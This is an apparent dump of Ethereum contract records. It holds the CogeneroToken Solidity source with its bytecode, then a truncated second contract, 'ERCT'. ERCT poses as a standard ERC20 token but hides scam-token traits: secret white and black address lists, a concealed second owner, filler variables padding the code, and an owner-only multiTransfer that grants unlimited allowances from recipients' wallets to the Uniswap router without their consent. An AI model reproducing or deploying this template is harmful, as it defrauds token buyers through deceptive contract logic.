function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CogeneroToken is MintableToken {
string public constant name = "Cogenero";
string public constant symbol = "COG";
uint8 public constant decimals = 18;
bool public AllowTransferGlobal = false;
bool public AllowTransferLocal = false;
bool public AllowTransferExternal = false;
mapping(address => uint256) public Whitelist;
mapping(address => uint256) public LockupList;
mapping(address => bool) public WildcardList;
mapping(address => bool) public Managers;
event Burn(address indexed burner, uint256 value);
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= 1000000000000000000000000000);
return super.mint(_to, _amount);
}
function allowTransfer(address _from, address _to) public view returns (bool) {
if (WildcardList[_from])
return true;
if (LockupList[_from] > now)
return false;
if (!AllowTransferGlobal) {
if (AllowTransferLocal && Whitelist[_from] != 0 && Whitelist[_to] != 0 && Whitelist[_from] < now && Whitelist[_to] < now)
return true;
if (AllowTransferExternal && Whitelist[_from] != 0 && Whitelist[_from] < now)
return true;
return false;
}
return true;
}
function allowManager() public view returns (bool) {
if (msg.sender == owner)
return true;
if (Managers[msg.sender])
return true;
return false;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(allowTransfer(msg.sender, _to));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(allowTransfer(_from, _to));
return super.transferFrom(_from, _to, _value);
}
function setManager(address _manager, bool _status) onlyOwner public {
Managers[_manager] = _status;
}
function setAllowTransferGlobal(bool _status) public {
require(allowManager());
AllowTransferGlobal = _status;
}
function setAllowTransferLocal(bool _status) public {
require(allowManager());
AllowTransferLocal = _status;
}
function setAllowTransferExternal(bool _status) public {
require(allowManager());
AllowTransferExternal = _status;
}
function setWhitelist(address _address, uint256 _date) public {
require(allowManager());
Whitelist[_address] = _date;
}
function setLockupList(address _address, uint256 _date) public {
require(allowManager());
LockupList[_address] = _date;
}
function setWildcardList(address _address, bool _status) public {
require(allowManager());
WildcardList[_address] = _status;
}
function burn(address _burner, uint256 _value) onlyOwner public {
require(_value <= balances[_burner]);
balances[_burner] = balances[_burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_burner, _value);
Transfer(_burner, address(0), _value);
}
}
|
0x6060604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101a657806306fdde03146101d3578063095ea7b3146102615780631302d03a146102bb57806318160ddd146102fd57806323b872dd14610326578063286362f81461039f5780632c995e1b146103cc5780632d0efbce146103f9578063313ce5671461044a57806336ae045a1461047957806340c10f19146104bd57806357fbac0614610517578063661884631461053c57806370a08231146105965780637d64bcb4146105e35780638da5cb5b14610610578063957e05d61461066557806395d89b411461068a5780639ad74f81146107185780639dc29fac1461073d578063a221e9641461077f578063a5e90eee146107cc578063a9059cbb14610810578063b36f8e8f1461086a578063b814660e14610897578063c2363c2f146108c4578063d73dd62314610906578063dd62ed3e14610960578063eb73900b146109cc578063edbbdf2e14610a19578063f2fde38b14610a6a578063fddfec7814610aa3575b600080fd5b34156101b157600080fd5b6101b9610b13565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610b26565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022657808201518184015260208101905061020b565b50505050905090810190601f1680156102535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026c57600080fd5b6102a1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b5f565b604051808215151515815260200191505060405180910390f35b34156102c657600080fd5b6102fb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c51565b005b341561030857600080fd5b610310610cac565b6040518082815260200191505060405180910390f35b341561033157600080fd5b610385600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cb2565b604051808215151515815260200191505060405180910390f35b34156103aa57600080fd5b6103b2610cdd565b604051808215151515815260200191505060405180910390f35b34156103d757600080fd5b6103df610cf0565b604051808215151515815260200191505060405180910390f35b341561040457600080fd5b610430600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d03565b604051808215151515815260200191505060405180910390f35b341561045557600080fd5b61045d610d23565b604051808260ff1660ff16815260200191505060405180910390f35b341561048457600080fd5b6104bb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610d28565b005b34156104c857600080fd5b6104fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d96565b604051808215151515815260200191505060405180910390f35b341561052257600080fd5b61053a60048080351515906020019091905050610e51565b005b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e81565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611112565b6040518082815260200191505060405180910390f35b34156105ee57600080fd5b6105f661115b565b604051808215151515815260200191505060405180910390f35b341561061b57600080fd5b610623611223565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561067057600080fd5b61068860048080351515906020019091905050611249565b005b341561069557600080fd5b61069d611279565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106dd5780820151818401526020810190506106c2565b50505050905090810190601f16801561070a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561072357600080fd5b61073b600480803515159060200190919050506112b2565b005b341561074857600080fd5b61077d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112e2565b005b341561078a57600080fd5b6107b6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114f4565b6040518082815260200191505060405180910390f35b34156107d757600080fd5b61080e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035151590602001909190505061150c565b005b341561081b57600080fd5b610850600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115c3565b604051808215151515815260200191505060405180910390f35b341561087557600080fd5b61087d6115ec565b604051808215151515815260200191505060405180910390f35b34156108a257600080fd5b6108aa6116b0565b604051808215151515815260200191505060405180910390f35b34156108cf57600080fd5b610904600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116c3565b005b341561091157600080fd5b610946600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061171e565b604051808215151515815260200191505060405180910390f35b341561096b57600080fd5b6109b6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061191a565b6040518082815260200191505060405180910390f35b34156109d757600080fd5b610a03600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119a1565b6040518082815260200191505060405180910390f35b3415610a2457600080fd5b610a50600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119b9565b604051808215151515815260200191505060405180910390f35b3415610a7557600080fd5b610aa1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119d9565b005b3415610aae57600080fd5b610af9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b31565b604051808215151515815260200191505060405180910390f35b600360149054906101000a900460ff1681565b6040805190810160405280600881526020017f436f67656e65726f00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b610c596115ec565b1515610c6457600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60005481565b6000610cbe8484611b31565b1515610cc957600080fd5b610cd4848484611e06565b90509392505050565b600360179054906101000a900460ff1681565b600360159054906101000a900460ff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b601281565b610d306115ec565b1515610d3b57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df457600080fd5b600360149054906101000a900460ff16151515610e1057600080fd5b6b033b2e3c9fd0803ce8000000610e32836000546121c590919063ffffffff16565b11151515610e3f57600080fd5b610e4983836121e3565b905092915050565b610e596115ec565b1515610e6457600080fd5b80600360176101000a81548160ff02191690831515021790555050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f92576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611026565b610fa583826123cb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b957600080fd5b600360149054906101000a900460ff161515156111d557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6112516115ec565b151561125c57600080fd5b80600360166101000a81548160ff02191690831515021790555050565b6040805190810160405280600381526020017f434f47000000000000000000000000000000000000000000000000000000000081525081565b6112ba6115ec565b15156112c557600080fd5b80600360156101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133e57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561138c57600080fd5b6113de81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123cb90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611436816000546123cb90919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60056020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156857600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006115cf3384611b31565b15156115da57600080fd5b6115e483836123e4565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561164d57600190506116ad565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116a857600190506116ad565b600090505b90565b600360169054906101000a900460ff1681565b6116cb6115ec565b15156116d657600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006117af82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915090505481565b60076020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a7157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b8e5760019050611e00565b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611bde5760009050611e00565b600360159054906101000a900460ff161515611dfb57600360169054906101000a900460ff168015611c5057506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015611c9c57506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015611ce6575042600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b8015611d30575042600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15611d3e5760019050611e00565b600360179054906101000a900460ff168015611d9a57506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015611de4575042600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15611df25760019050611e00565b60009050611e00565b600190505b92915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e4357600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e9157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611f1c57600080fd5b611f6e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123cb90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120d582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123cb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008082840190508381101515156121d957fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561224157600080fd5b600360149054906101000a900460ff1615151561225d57600080fd5b612272826000546121c590919063ffffffff16565b6000819055506122ca82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156123d957fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561242157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561246f57600080fd5b6124c182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123cb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820d92965dada73fa74e32c44ebb7fb17744e18af3e35f39881cac707f2468b79eb0029
|
{"success": true, "error": null, "results": {}}
| 9,427 |
0x819c492d85a02a7f4aa1fa801fc7e3d565c8273d
|
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERCT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_mint(0x4CA1BE345d1FD2E61c054f4a67336c75f586Eff3, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
